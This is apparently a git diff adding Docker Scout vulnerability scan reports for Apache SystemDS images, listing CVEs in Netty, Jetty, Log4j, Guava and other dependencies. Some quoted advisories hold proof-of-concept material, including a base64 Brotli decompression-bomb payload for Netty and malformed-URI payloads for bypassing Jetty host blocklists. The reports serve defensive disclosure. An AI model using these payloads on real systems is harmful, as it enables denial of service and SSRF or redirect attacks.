CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.047%
EPSS Percentile15th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.011%
EPSS Percentile1st percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) + +pkg:maven/org.apache.commons/commons-lang3@3.12.0
+medium 6.5: CVE--2025--48924 Uncontrolled Recursion + + + + + + + + +
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.023%
EPSS Percentile6th percentile
+ +
Description +
+ +Uncontrolled Recursion vulnerability in Apache Commons Lang. + +This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. + +The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. + +Users are recommended to upgrade to version 3.18.0, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) + +pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
+medium 4.6: CVE--2025--55039 Inadequate Encryption Strength + + + + + + + + +
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile19th percentile
+ +
Description +
+ +This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. + +Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. + +When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. + +This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. + +To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) + +pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
+medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch + + + + + + + + +
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.037%
EPSS Percentile11th percentile
+ +
Description +
+ +The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. + +This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: + + * The attacker is able to intercept or redirect network traffic between the client and the log receiver. + * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). + + +Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. + +As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec@4.1.96.Final
+medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) + + + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.034%
EPSS Percentile10th percentile
+ +
Description +
+ +### Summary + +With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. + +### Details + +`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. + +Tested on 4.1.118, but there were no changes to the decoder since. + +### PoC + +Run this test case with `-Xmx1G`: + +```java +import io.netty.buffer.Unpooled; +import io.netty.channel.embedded.EmbeddedChannel; + +import java.util.Base64; + +public class T { + public static void main(String[] args) { + EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); + channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); + } +} +``` + +Error: + +``` +Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) + at java.base/java.nio.Bits.reserveMemory(Bits.java:178) + at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) + at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) + at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) + at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) + at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) + at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) + at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) + at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) + at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) + at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) + at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) + at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) + at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) + at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) + at io.netty.handler.codec.compression.T.main(T.java:11) +``` + +### Impact + +DoS for anyone using `BrotliDecoder` on untrusted input. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score0.661%
EPSS Percentile71st percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.196%
EPSS Percentile42nd percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.eclipse.jetty/jetty-xml 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-xml@9.4.51.v20230217
+low 3.9: GHSA--58qw--p7qm--5rvh Improper Restriction of XML External Entity Reference + + + + + + +
Affected range<=9.4.51
Fixed version9.4.52.v20230823
CVSS Score3.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
+ +
Description +
+ +### From the reporter + +> `XmlParser` is vulnerable to XML external entity (XXE) vulnerability. +> XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit +> this vulnerability in order to achieve SSRF or cause a denial of service. +> One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the +> WAR includes a malicious web.xml. + +### Impact +There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit `XmlParser` the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. + +Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory. + +However, any direct usage of the `XmlParser` class by an application may be vulnerable. The impact would greatly depend on how the application uses `XmlParser`, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely. + +### Patches +Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067 + +### Workarounds +Don't use `XmlParser` to parse data from users. + + + + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) + +pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
+low 2.0: CVE--2024--23454 Improper Privilege Management + + + + + + + + +
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.037%
EPSS Percentile11th percentile
+ +
Description +
+ +Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ diff --git a/docker/scout_results/zookeeper/sysds_output3.md b/docker/scout_results/zookeeper/sysds_output3.md new file mode 100644 index 00000000000..ed669dbc511 --- /dev/null +++ b/docker/scout_results/zookeeper/sysds_output3.md @@ -0,0 +1,3042 @@ +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:52786ec53134202cfc56c5ed764239b2356786f36241e57f3b1154538426c7e9
vulnerabilitiescritical: 3 high: 31 medium: 41 low: 10 unspecified: 1
platformlinux/amd64
size1.1 GB
packages353
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) + +pkg:maven/io.netty/netty@3.10.6.Final
+critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." + +
+
+ +high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. + +This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. + +### Impact + +All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. + +### References +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 + +
+
+ +high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
+ +
Description +
+ +### Impact +The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). + + +All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack + +### Workarounds +No workarounds other than not using the `Bzip2Decoder` + +### References + +Relevant code areas: + +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 + +
+
+ +medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.418%
EPSS Percentile61st percentile
+ +
Description +
+ +### Impact + +Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. + +Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. + + + +
+
+ +medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.026%
EPSS Percentile7th percentile
+ +
Description +
+ +### Impact + +When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. + +The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) + +### Vulnerability Details + +On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. + +The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. + +This is the case in netty's `AbstractDiskHttpData` is vulnerable. + +https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 + +`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. + +You may be affected by this vulnerability your project contains the following code patterns: + +```java +channelPipeline.addLast(new HttpPostRequestDecoder(...)); +``` + +```java +channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); +``` + +### Patches + +This has been patched in version `4.1.59.Final`. + +### Workarounds + +Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. + +### References + + - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) + - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) + +### Similar Vulnerabilities + +Similar, but not the same. + + - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp + - Google Guava - https://github.com/google/guava/issues/4011 + - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 + - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 + +### For more information +If you have any questions or comments about this advisory: +* Open an issue in [netty](https://github.com/netty/netty) +* Email us [here](mailto:netty-security@googlegroups.com) + +### Original Report + +> Hi Netty Security Team, +> +> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: +> https://lgtm.com/query/7723301787255288599/ +> +> Netty contains three local information disclosure vulnerabilities, so far as I can tell. +> +> One is here, where the private key for the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 +> +> One is here, where the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 +> +> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 +> +> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. +> +> Impacted OS: +> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. +> +> Mitigation. +> +> Moving to the `Files` API instead will fix this vulnerability. +> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- +> +> This API will explicitly set the posix file permissions to something safe, by default. +> +> I recently disclosed a similar vulnerability in JUnit 4: +> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp +> +> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. +> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 +> +> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. +> https://github.com/netty/netty/security/advisories +> +> This vulnerability disclosure follows 